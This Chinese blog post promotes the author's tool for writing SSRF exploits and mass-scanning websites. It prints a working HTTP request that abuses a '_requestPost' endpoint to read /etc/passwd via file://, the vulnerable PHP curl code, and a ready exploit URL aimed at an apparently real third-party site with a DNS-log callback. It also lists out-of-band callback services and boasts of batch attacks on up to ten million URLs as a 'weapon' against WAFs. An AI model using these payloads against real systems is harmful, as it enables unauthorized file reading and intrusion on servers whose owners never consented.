使用我们的软件编写ssrf漏洞实战案例


背景

我们在实战的时候遇到任意文件读取或者是ssrf漏洞来说任意文件读取漏洞那个如果有回显可以直接根据回显发送post get包就行了。如果没有回显那么我们如何编写这种漏洞的exp。例如:如下漏洞
https://mp.weixin.qq.com/s/Cr1XIUkge36cGYtpHtw1Dw
漏洞exp:

GET /api/wxapps/_requestPost?url=file:///etc/passwd&data=1 HTTP/2
Host: 127.0.0.1
Sec-Ch-Ua: "(Not(A:Brand";v="8", "Chromium";v="101"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

使用内置 curl_exec函数发送请求。漏洞原理

//不带报头的curl
public 
function 
_requestPost($url, $data, $ssl = true)
  
{
    
//curl完成
    $curl = curl_init();
    
//设置curl选项
    curl_setopt($curl, CURLOPT_URL, $url);//URL
    $user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0 FirePHP/0.7.4';
    curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);//user_agent,请求代理信息
    curl_setopt($curl, CURLOPT_AUTOREFERER, true);//referer头,请求来源
    curl_setopt($curl, CURLOPT_TIMEOUT, 30);//设置超时时间
    
//SSL相关
    
if ($ssl) {
      curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);//禁用后cURL将终止从服务端进行验证
      curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 2);//检查服务器SSL证书中是否存在一个公用名(common name)。
    }
    
// 处理post相关选项
    curl_setopt($curl, CURLOPT_POST, true);// 是否为POST请求
    curl_setopt($curl, CURLOPT_POSTFIELDS, $data);// 处理请求数据
    
// 处理响应结果
    curl_setopt($curl, CURLOPT_HEADER, false);//是否处理响应头
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);//curl_exec()是否返回响应结果
    
// 发出请求
    $response = curl_exec($curl);
    
if (false === $response) {
      
echo 
'<br>', curl_error($curl), '<br>';
      
return 
false;
    }
    curl_close($curl);
    
return $response;
  }

我们随便找个网站看看exp就是https://5319.newadco.com//api/wxapps/_requestPost?url=http://dnslog地址/&data=
实战
是不是可以这么理解。那我们编写的时候直接这么编写不就行了。我们看nuclei ssrf编写案例
https://mp.weixin.qq.com/s/Z4IFUVFjhWHYtAUCxz50LQ
ssrf编写
如果我们利用python或者自己写一个程序来实现ssrf那将会是很麻烦所以我们来介绍我们工具编写ssrf步骤。

工具编写ssrf漏洞代码展示

使用我们的工具编写ssrf漏洞只需简单的按规则发送请求即可。注意:
其中www.dnslog.cn 只能国内ip使用。
这个只能国外地址使用 https://dnslog.org

https://oast.pro/ 这个国内外ip都可以使用也就是nuclei使用的

编写实例
如果返回的是vul exist!!! 那么就存在漏洞并且结果exp已经写出来了。
怎么样我们使用三个dns平台测试ssrf漏洞当然实战建议选择后面两个因为dnslog只能国内ip使用。

总结

现在觉得编写exp poc很难么。还觉得难的话那是没有遇到我们的软件。后续源码小范围分享的时候会在内部辅导教学编写exp。直到学会为止。前提是你得会渗透测试能看懂http报文。和会简单的编程最好是C#编写。在这个waf 满天飞的时代我们必须有一个属于自己的exp poc武器。我们的武器现在可以最少支持100万网站的所有模块的批量。目前在测试框架1000w url的批量。相信市面上很少有工具可以达到这个程度。等测试完毕在发布测试文章。总之就是会发送get post这些请求包就行了。至于上传这个比较难。回头单独讲解吧。这个就写这么多吧。这个属于直达心脏比较危险你们懂得不适合大范围分享。因为我们的软件可以抗百万url。今天就讲到这里吧。


文章作者: peiqiF4ck
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 peiqiF4ck !
  目录